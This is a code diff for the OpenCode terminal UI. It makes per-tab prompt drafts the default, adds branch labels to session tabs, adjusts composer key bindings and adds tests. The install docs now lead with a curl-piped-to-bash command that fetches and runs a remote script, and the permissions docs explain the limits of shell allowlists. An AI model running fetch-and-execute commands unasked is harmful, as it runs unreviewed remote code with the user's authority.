-    id: "tab_drafts",
-    title: "Per-tab prompt drafts",
-    description: "Keep unsent prompt drafts on the tab where they were written. New sessions start blank.",
-  },
-]
+export const experiments: Experiment[] = []
 
 export function DialogExperiments() {
   const config = useConfig()
+  const theme = useTheme()
   const toast = useToast()
-  const [selected, setSelected] = createSignal(0)
+  const [selected, setSelected] = createSignal<Experiment>()
   const [saving, setSaving] = createSignal(false)
 
   const enabled = (experiment: Experiment) => config.data.experimental?.[experiment.id] === true
 
   const options = createMemo(() =>
-    experiments.map((experiment, index) => ({
+    experiments.map((experiment) => ({
       title: experiment.title,
       category: "Experiments",
       searchText: experiment.description,
       footer: enabled(experiment) ? "on" : "off",
-      value: index,
+      value: experiment,
     })),
   )
 
   // All experiments are booleans, so either direction toggles.
-  async function change(index = selected()) {
+  async function change(experiment = selected()) {
     if (saving()) return
-    const experiment = experiments[index]
     if (!experiment) return
     const next = !enabled(experiment)
     setSaving(true)
@@ -58,23 +53,33 @@ export function DialogExperiments() {
     <DialogSelect
       title="Experiments"
       options={options()}
+      renderFilter={experiments.length > 0}
       onMove={(option) => setSelected(option.value)}
       onSelect={(option) => void change(option.value)}
-      footerHints={[{ title: "←/→", label: "change" }]}
-      bindings={[
-        {
-          bind: "left",
-          title: "Previous value",
-          group: "Experiments",
-          run: () => void change(),
-        },
-        {
-          bind: "right",
-          title: "Next value",
-          group: "Experiments",
-          run: () => void change(),
-        },
-      ]}
+      emptyView={
+        <box paddingLeft={4} paddingRight={4}>
+          <text fg={theme.text.subdued}>No experiments available</text>
+        </box>
+      }
+      footerHints={experiments.length > 0 ? [{ title: "←/→", label: "change" }] : []}
+      bindings={
+        experiments.length > 0
+          ? [
+              {
+                bind: "left",
+                title: "Previous value",
+                group: "Experiments",
+                run: () => void change(),
+              },
+              {
+                bind: "right",
+                title: "Next value",
+                group: "Experiments",
+                run: () => void change(),
+              },
+            ]
+          : []
+      }
     />
   )
 }

packages/tui/src/component/prompt/draft-stash.ts

@@ -1,30 +1,18 @@
 import type { PromptInfo } from "../../prompt/history"
 
-// Holds one in-progress draft per slot across Prompt remounts. The undefined
-// key is the default single global slot that follows focus across tabs; the
-// tab_drafts experiment keys drafts by the tab (sessionID or "home") they
-// were written in. A draft is consumed on take: restoring it moves it out of
-// the stash, so a stale copy never shadows newer input.
+// Holds one in-progress draft per tab across Prompt remounts. A draft is
+// consumed on take: restoring it moves it out of the stash, so a stale copy
+// never shadows newer input.
 export type DraftEntry = { prompt: PromptInfo; cursor: number }
 
-let global: DraftEntry | undefined
-const byTab = new Map<string, DraftEntry>()
+const byTab = new Map<string | undefined, DraftEntry>()
 
-export function takeDraft(key: string | undefined) {
-  if (key === undefined) {
-    const entry = global
-    global = undefined
-    return entry
-  }
-  const entry = byTab.get(key)
-  byTab.delete(key)
+export function takeDraft(sessionID: string | undefined) {
+  const entry = byTab.get(sessionID)
+  byTab.delete(sessionID)
   return entry
 }
 
-export function saveDraft(key: string | undefined, entry: DraftEntry) {
-  if (key === undefined) {
-    global = entry
-    return
-  }
-  byTab.set(key, entry)
+export function saveDraft(sessionID: string | undefined, entry: DraftEntry) {
+  byTab.set(sessionID, entry)
 }

packages/tui/src/component/prompt/index.tsx

@@ -678,10 +678,9 @@ export function Prompt(props: PromptProps) {
   // instance belongs to exactly one tab. Reading props.sessionID lazily would
   // observe the *next* route during onCleanup and stash under the wrong tab.
   const stashSessionID = props.sessionID
-  const stashKey = () => (config.experimental?.tab_drafts === true ? (stashSessionID ?? "home") : undefined)
 
   onMount(() => {
-    const saved = takeDraft(stashKey())
+    const saved = takeDraft(stashSessionID)
     if (store.prompt.text) return
     if (saved && saved.prompt.text) {
       input.setText(saved.prompt.text)
@@ -694,7 +693,7 @@ export function Prompt(props: PromptProps) {
   onCleanup(() => {
     disposed = true
     if (store.prompt.text) {
-      saveDraft(stashKey(), { prompt: unwrap(store.prompt), cursor: input.cursorOffset })
+      saveDraft(stashSessionID, { prompt: unwrap(store.prompt), cursor: input.cursorOffset })
     }
     setInputTarget(undefined)
     props.ref?.(undefined)

packages/tui/src/component/session-tabs.tsx

@@ -21,6 +21,7 @@ import {
   moveSessionTab,
   NEW_SESSION_TAB_TITLE,
   sessionTabComplete,
+  sessionTabDetail,
   sessionTabShortcutLabel,
   seedSessionTabMotion,
   sessionTabOverflowWidth,
@@ -408,10 +409,20 @@ function VerticalSessionTabs(props: { controller?: SessionTabsController; animat
               const titleFades = createMemo(() => marqueeOverflows(title(), titleWidth()) && titleWidth() > FADE_WIDTH)
               const detail = createMemo(() => {
                 const fixture = tabs.detail?.(tab.sessionID)
-                if (fixture !== undefined) return Locale.takeWidth(fixture, titleWidth())
+                if (fixture !== undefined) return fixture
                 const value = session()
-                return Locale.takeWidth(projectName(project(), value?.location.directory) ?? "", titleWidth())
+                const currentProject = project()
+                const projectLabel = projectName(currentProject, value?.location.directory) ?? ""
+                const vcs = value ? data.location.vcs.info(value.location) : undefined
+                const location = value ? data.location.info(value.location) : undefined
+                const worktree = !!location && location.project.directory !== location.project.canonical
+                return sessionTabDetail(projectLabel, vcs?.branch.current, vcs?.branch.default, worktree)
               })
+              const visibleDetail = createMemo(() => Locale.takeWidth(detail(), titleWidth()))
+              const visibleDetailParts = createMemo(() => Locale.graphemes(visibleDetail()))
+              const detailFades = createMemo(
+                () => marqueeOverflows(detail(), titleWidth()) && titleWidth() > FADE_WIDTH,
+              )
               const background = createMemo(() => {
                 if (selected()) return theme.background.action.primary.selected
                 if (hovered() === tab.sessionID || dragging() === tab.sessionID)
@@ -453,6 +464,10 @@ function VerticalSessionTabs(props: { controller?: SessionTabsController; animat
               const detailFlashColor = createMemo(() => tint(pulseBackground(), theme.text.default, 0.42))
               const detailGlowColor = createMemo(() => tint(pulseBackground(), glowHue(), 0.25))
               const detailColor = createMemo(() => tint(theme.text.subdued, pulseBackground(), 0.35))
+              const detailTextColor = (index: number) =>
+                detailFades()
+                  ? fadeTitleColor(detailColor(), pulseBackground(), index, visibleDetailParts().length, 0)
+                  : detailColor()
               const glows = () => status().glows
               const previous = createMemo(() => items()[index() - 1])
               const previousStatus = createMemo(() => {
@@ -670,7 +685,11 @@ function VerticalSessionTabs(props: { controller?: SessionTabsController; animat
                     />
                     <box zIndex={1} width="100%" flexDirection="row" paddingLeft={numberWidth() + 1} paddingRight={2}>
                       <text fg={detailColor()} wrapMode="none" selectable={false}>
-                        {detail()}
+                        <Show when={detailFades()} fallback={visibleDetail()}>
+                          <For each={visibleDetailParts()}>
+                            {(character, index) => <span style={{ fg: detailTextColor(index()) }}>{character}</span>}
+                          </For>
+                        </Show>
                       </text>
                     </box>
                   </box>

packages/tui/src/config/index.tsx

@@ -192,13 +192,9 @@ export const Info = Schema.Struct({
       }),
     }),
   ).annotate({ description: "Debugging settings" }),
-  experimental: Schema.optional(
-    Schema.Struct({
-      tab_drafts: Schema.optional(Schema.Boolean).annotate({
-        description: "Keep unsent prompt drafts on the tab where they were written",
-      }),
-    }),
-  ).annotate({ description: "Experimental features that may change or be removed at any time" }),
+  experimental: Schema.optional(Schema.Record(Schema.String, Schema.Boolean)).annotate({
+    description: "Experimental features that may change or be removed at any time",
+  }),
   animations: Schema.optional(Schema.Boolean).annotate({ description: "Enable interface animations" }),
   mouse: Schema.optional(Schema.Boolean).annotate({ description: "Enable terminal mouse capture" }),
   cursor: Schema.optional(Cursor),

packages/tui/src/context/data.tsx

@@ -94,7 +94,7 @@ type Store = {
   location: Record<string, LocationData>
 }
 
-function locationKey(location: LocationRef) {
+export function locationKey(location: LocationRef) {
   return JSON.stringify([location.directory, location.workspaceID])
 }
 
@@ -1214,9 +1214,9 @@ export const { use: useData, provider: DataProvider } = createSimpleContext({
         default() {
           return defaultLocation()
         },
-        async sync(ref?: LocationRef) {
+        syncInfo(ref?: LocationRef) {
           const current = ref ?? defaultLocation()
-          await sync.run(`location:${locationKey(current)}`, async () => {
+          return sync.run(`location:${locationKey(current)}`, async () => {
             const location = await client.api.location.get({ location: locationQuery(current) })
             const key = locationKey(location)
             if (!store.location[key]) setStore("location", key, {})
@@ -1225,6 +1225,9 @@ export const { use: useData, provider: DataProvider } = createSimpleContext({
               setDefaultLocation({ directory: location.directory, workspaceID: location.workspaceID })
             }
           })
+        },
+        async sync(ref?: LocationRef) {
+          await result.location.syncInfo(ref)
           const location = ref ?? defaultLocation()
           await Promise.all([
             result.location.vcs.sync(location),

packages/tui/src/context/session-tabs-model.ts

@@ -13,6 +13,16 @@ export function sessionTabShortcutLabel(index: number) {
   return "·"
 }
 
+export function sessionTabDetail(
+  project: string,
+  current: string | undefined,
+  defaultBranch: string | undefined,
+  worktree: boolean,
+) {
+  const branch = worktree && current !== defaultBranch ? current : undefined
+  return branch && project ? `${project} ⎇ ${branch}` : (branch ?? project)
+}
+
 export type SessionTabHistory = {
   entries: readonly string[]
   index: number

packages/tui/src/context/session-tabs.tsx

@@ -2,7 +2,7 @@ import { createEffect, createMemo, createSignal, onCleanup } from "solid-js"
 import { isDeepEqual } from "remeda"
 import { createSimpleContext } from "./helper"
 import { useClient } from "./client"
-import { useData } from "./data"
+import { locationKey, useData } from "./data"
 import { withTimestampedFallback } from "@opencode-ai/util/session-title-fallback"
 import { useEvent } from "./event"
 import { useRoute } from "./route"
@@ -159,9 +159,9 @@ export const { use: useSessionTabs, provider: SessionTabsProvider } = createSimp
       })
     })
 
-    // Load lightweight session metadata concurrently so persisted tabs can resolve their project
-    // labels immediately. Delay the heavier per-tab data so the visible session keeps the first
-    // connection slots and switches still render from a warm cache.
+    // Load lightweight session and location metadata concurrently so persisted tabs can resolve
+    // their project and branch labels. Delay the heavier per-tab data so the visible session keeps
+    // the first connection slots and switches still render from a warm cache.
     const openTabSessions = createMemo(() =>
       state()
         .tabs.map((tab) => tab.sessionID)
@@ -171,10 +171,25 @@ export const { use: useSessionTabs, provider: SessionTabsProvider } = createSimp
     createEffect(() => {
       if (!enabled()) return
       if (client.connection.status() !== "connected") return
-      const sessionIDs = openTabSessions()
-      if (sessionIDs === "") return
-      void Promise.allSettled(sessionIDs.split("\n").map((sessionID) => data.session.sync(sessionID)))
+      const signature = openTabSessions()
+      if (signature === "") return
+      const sessionIDs = signature.split("\n")
       let stale = false
+      void (async () => {
+        await Promise.allSettled(sessionIDs.map((sessionID) => data.session.sync(sessionID)))
+        if (stale) return
+        const locations = new Map(
+          sessionIDs
+            .map((sessionID) => data.session.get(sessionID)?.location)
+            .filter((location) => location !== undefined)
+            .map((location) => [locationKey(location), location]),
+        )
+        await Promise.allSettled(
+          Array.from(locations.values(), (location) =>
+            Promise.all([data.location.syncInfo(location), data.location.vcs.sync(location)]),
+          ),
+        )
+      })()
       const timer = setTimeout(async () => {
         const sessions = state()
           .tabs.map((tab) => tab.sessionID)

packages/tui/src/routes/session/composer/index.tsx

@@ -94,6 +94,7 @@ export function Composer(props: ComposerProps) {
   Keymap.createLayer(() => ({
     mode: "composer",
     enabled: () => props.open,
+    priority: 1,
     commands: [
       { bind: "left", title: "Previous tab", group: "Composer", run: () => switchTab(-1) },
       { bind: "right", title: "Next tab", group: "Composer", run: () => switchTab(1) },

packages/tui/src/routes/session/composer/shell-tab.tsx

@@ -50,6 +50,7 @@ export function ShellTab(props: { sessionID: string }) {
   Keymap.createLayer(() => ({
     mode: "composer",
     enabled: () => composer.active("shell"),
+    priority: 1,
     commands: [
       {
         id: "composer.shell.up",

packages/tui/src/routes/session/composer/subagents-tab.tsx

@@ -164,6 +164,7 @@ export function SubagentsTab(props: { sessionID: string }) {
   Keymap.createLayer(() => ({
     mode: "composer",
     enabled: () => composer.active("subagents"),
+    priority: 1,
     commands: [
       {
         id: "composer.subagent.up",

packages/tui/test/cli/tui/composer-keymap.test.tsx

@@ -23,7 +23,11 @@ const sessions = {
 
 const shells = [shell("sh-a", "bun test"), shell("sh-b", "bun dev")]
 
-async function renderComposer(defaultTab: "subagents" | "shell", keybinds: Partial<TuiKeybind.Keybinds>) {
+async function renderComposer(
+  defaultTab: "subagents" | "shell",
+  keybinds: Partial<TuiKeybind.Keybinds>,
+  focusedTextarea = false,
+) {
   const events = createEventStream()
   const interrupted: string[] = []
   const removed: string[] = []
@@ -69,7 +73,21 @@ async function renderComposer(defaultTab: "subagents" | "shell", keybinds: Parti
         .then(() => wait(() => data.session.status("child-a") === "running"))
         .then(() => ready.resolve(), ready.reject)
     })
-    return <Composer sessionID="parent" open={true} defaultTab={defaultTab} onClose={() => closed++} />
+    return (
+      <>
+        {focusedTextarea && <textarea focused={true} initialValue="draft" />}
+        <Composer sessionID="parent" open={true} defaultTab={defaultTab} onClose={() => closed++} />
+      </>
+    )
+  }
+
+  function AppExit() {
+    Keymap.createLayer(() => ({
+      mode: "global",
+      commands: [{ id: "app.exit", title: "Exit", group: "System", run: () => {} }],
+    }))
+    Keymap.createLayer(() => ({ bindings: ["app.exit"] }))
+    return null
   }
 
   const app = await testRender(
@@ -88,6 +106,7 @@ async function renderComposer(defaultTab: "subagents" | "shell", keybinds: Parti
                 </LocationProvider>
               </DataProvider>
             </ClientProvider>
+            <AppExit />
           </Keymap.Provider>
         </ConfigProvider>
       </TestTuiContexts>
@@ -154,6 +173,20 @@ test("disabled shell bindings have no component fallbacks", async () => {
   }
 })
 
+test("configured composer bindings work with a focused textarea", async () => {
+  const composer = await renderComposer("subagents", { "composer.shell.kill": "ctrl+u" }, true)
+  try {
+    composer.app.mockInput.pressArrow("right")
+    await composer.app.renderOnce()
+    expect(composer.app.captureCharFrame()).toContain("bun test")
+    composer.app.mockInput.pressKey("u", { ctrl: true })
+    await wait(() => composer.removed.length === 1)
+    expect(composer.removed).toEqual(["sh-a"])
+  } finally {
+    composer.app.renderer.destroy()
+  }
+})
+
 function session(id: string, title: string, parentID?: string) {
   return {
     id,

packages/tui/test/context/session-tabs-model.test.ts

@@ -11,11 +11,20 @@ import {
   reopenSessionTab,
   seedSessionTabMotion,
   sessionTabComplete,
+  sessionTabDetail,
   sessionTabOverflowWidth,
   sessionTabShortcutLabel,
 } from "../../src/context/session-tabs-model"
 
 describe("session tabs", () => {
+  test("appends the branch to the project detail", () => {
+    expect(sessionTabDetail("opencode", "feature/sidebar", "main", true)).toBe("opencode ⎇ feature/sidebar")
+    expect(sessionTabDetail("opencode", "feature/sidebar", undefined, true)).toBe("opencode ⎇ feature/sidebar")
+    expect(sessionTabDetail("opencode", "feature/sidebar", "main", false)).toBe("opencode")
+    expect(sessionTabDetail("opencode", "main", "main", true)).toBe("opencode")
+    expect(sessionTabDetail("opencode", undefined, "main", true)).toBe("opencode")
+  })
+
   test("labels direct shortcut tabs and marks unbound tabs with a dot", () => {
     expect(Array.from({ length: 12 }, (_, index) => sessionTabShortcutLabel(index))).toEqual([
       "1",

packages/tui/test/context/session-tabs.test.tsx

@@ -28,7 +28,14 @@ async function wait(fn: () => boolean | Promise<boolean>, timeout = 2_000) {
 
 async function renderSessionTabs(
   initialSessionID: string,
-  options?: { state?: string; title?: string; home?: boolean; persisted?: string[]; sessionGate?: Promise<void> },
+  options?: {
+    state?: string
+    title?: string
+    home?: boolean
+    persisted?: string[]
+    sessionGate?: Promise<void>
+    sessionDirectories?: Record<string, string>
+  },
 ) {
   const temporary = options?.state ? undefined : await tmpdir()
   const state = options?.state ?? temporary!.path
@@ -45,7 +52,25 @@ async function renderSessionTabs(
   }
   const events = createEventStream()
   const sessions: string[] = []
+  const locations: string[] = []
+  const vcsLocations: string[] = []
   const calls = createFetch(async (url) => {
+    if (url.pathname === "/api/location") {
+      const requested = url.searchParams.get("location[directory]") ?? directory
+      locations.push(requested)
+      return json({
+        directory: requested,
+        project: { id: "project", directory: requested, canonical: directory },
+      })
+    }
+    if (url.pathname === "/api/vcs") {
+      const requested = url.searchParams.get("location[directory]") ?? directory
+      vcsLocations.push(requested)
+      return json({
+        location: { directory: requested },
+        data: { branch: { current: "main", default: "main" } },
+      })
+    }
     const sessionID = url.pathname.match(/^\/api\/session\/([^/]+)$/)?.[1]
     if (!sessionID) return undefined
     sessions.push(sessionID)
@@ -55,7 +80,7 @@ async function renderSessionTabs(
         id: sessionID,
         title: sessionID === initialSessionID ? options?.title : undefined,
         projectID: "project",
-        location: { directory },
+        location: { directory: options?.sessionDirectories?.[sessionID] ?? directory },
         cost: 0,
         tokens: { input: 0, output: 0, reasoning: 0, cache: { read: 0, write: 0 } },
         time: { created: 0, updated: 0 },
@@ -107,6 +132,8 @@ async function renderSessionTabs(
     route,
     data,
     sessions,
+    locations,
+    vcsLocations,
     state,
     emit: (event: OpenCodeEvent) => events.emit({ ...event, location: { directory } }),
     async destroy() {
@@ -137,6 +164,22 @@ test("loads persisted tab metadata concurrently on connect", async () => {
   }
 })
 
+test("loads VCS metadata for each persisted tab location", async () => {
+  const other = `${directory}/other-worktree`
+  const setup = await renderSessionTabs("first", {
+    home: true,
+    persisted: ["first", "second"],
+    sessionDirectories: { second: other },
+  })
+
+  try {
+    await wait(() => setup.locations.includes(other))
+    await wait(() => setup.vcsLocations.includes(other))
+  } finally {
+    await setup.destroy()
+  }
+})
+
 test("stores session tabs for the current working directory by default", async () => {
   const setup = await renderSessionTabs("first")
 

packages/tui/test/prompt/draft-stash.test.ts

@@ -3,23 +3,13 @@ import { saveDraft, takeDraft } from "../../src/component/prompt/draft-stash"
 import { emptyPrompt } from "../../src/prompt/history"
 
 // The Prompt component stashes an unsent draft in onCleanup and takes it back
-// in onMount across route remounts. The key it uses is undefined by default
-// (one global slot that follows focus across tabs) and the tab identity
-// (sessionID, or "home") when the tab_drafts experiment is on.
+// in onMount across route remounts, keyed by sessionID or undefined for home.
 
 function draft(text: string, cursor = text.length) {
   return { prompt: { ...emptyPrompt(), text }, cursor }
 }
 
 describe("prompt draft stash", () => {
-  test("global slot follows focus: any tab takes the last stashed draft", () => {
-    const entry = draft("follow me")
-    saveDraft(undefined, entry)
-    expect(takeDraft(undefined)).toBe(entry)
-    // Consumed on take, so a remount never restores a stale copy.
-    expect(takeDraft(undefined)).toBeUndefined()
-  })
-
   test("tab-keyed drafts stay on the tab they were written in", () => {
     const two = draft("notes for session two")
     saveDraft("ses_two", two)
@@ -37,25 +27,12 @@ describe("prompt draft stash", () => {
     const one = draft("DRAFT-ONE")
     const home = draft("draft on home")
     saveDraft("ses_one", one)
-    saveDraft("home", home)
+    saveDraft(undefined, home)
 
-    expect(takeDraft("home")).toBe(home)
+    expect(takeDraft(undefined)).toBe(home)
     expect(takeDraft("ses_one")).toBe(one)
   })
 
-  test("global and tab slots never leak into each other when the experiment toggles mid-draft", () => {
-    const global = draft("stashed before enabling tab_drafts")
-    const keyed = draft("stashed after enabling tab_drafts")
-    saveDraft(undefined, global)
-    saveDraft("ses_a", keyed)
-
-    // A keyed lookup must not surface the global draft on the wrong tab...
-    expect(takeDraft("ses_b")).toBeUndefined()
-    // ...and the global slot must not surface a tab's draft.
-    expect(takeDraft(undefined)).toBe(global)
-    expect(takeDraft("ses_a")).toBe(keyed)
-  })
-
   test("a newer draft for the same slot replaces the older one", () => {
     saveDraft("ses_a", draft("first"))
     const second = draft("second")

packages/www/content/docs/(Configure)/permissions.mdx

@@ -120,7 +120,9 @@ raw command text and are **not** home-expanded.
   `shell` runs with the host user's filesystem, process, and network authority. Its resource is raw text, not a parsed
   command. External command arguments produce only best-effort warnings; `external_directory` is enforced for the
   working directory, not every path embedded in a command. Prefer a narrow shell allowlist over patterns intended to
-  identify every dangerous command.
+  identify every dangerous command. Shell permission scanning identifies commands introduced by shell syntax, but it
+  does not inspect source, callbacks, plugins, package scripts, remote commands, or other executable behavior delegated
+  through an allowed program. For example, allowing `npm *`, `make *`, or `ssh *` also trusts what that program executes.
 </Callout>
 
 Relative mutation paths cannot escape the active Location, and symlink escapes

packages/www/content/docs/index.mdx

@@ -15,29 +15,20 @@ description: "Get started with OpenCode."
 
 ## Install
 
-<CodeGroup>
+### Install script
 
-```bash npm
-npm install -g @opencode-ai/cli@next
-```
-
-```bash bun
-bun install -g --trust @opencode-ai/cli@next
-```
-
-```bash pnpm
-pnpm add -g --allow-build=@opencode-ai/cli @opencode-ai/cli@next
-```
-
-```bash yarn
-yarn global add @opencode-ai/cli@next
-```
-
-```bash curl
+```bash
 curl -fsSL https://raw.githubusercontent.com/anomalyco/opencode/v2/install | bash
 ```
 
-</CodeGroup>
+You can also install it with the following package managers.
+
+<Tabs>
+  <Tab title="npm">```bash npm install -g @opencode-ai/cli@next ```</Tab>
+  <Tab title="bun">```bash bun install -g --trust @opencode-ai/cli@next ```</Tab>
+  <Tab title="pnpm">```bash pnpm add -g --allow-build=@opencode-ai/cli @opencode-ai/cli@next ```</Tab>
+  <Tab title="Yarn">```bash yarn global add @opencode-ai/cli@next ```</Tab>
+</Tabs>
 
 The package uses a trusted postinstall script to select the native `opencode2` binary for your platform. The Bun and pnpm
 commands above explicitly allow that script to run.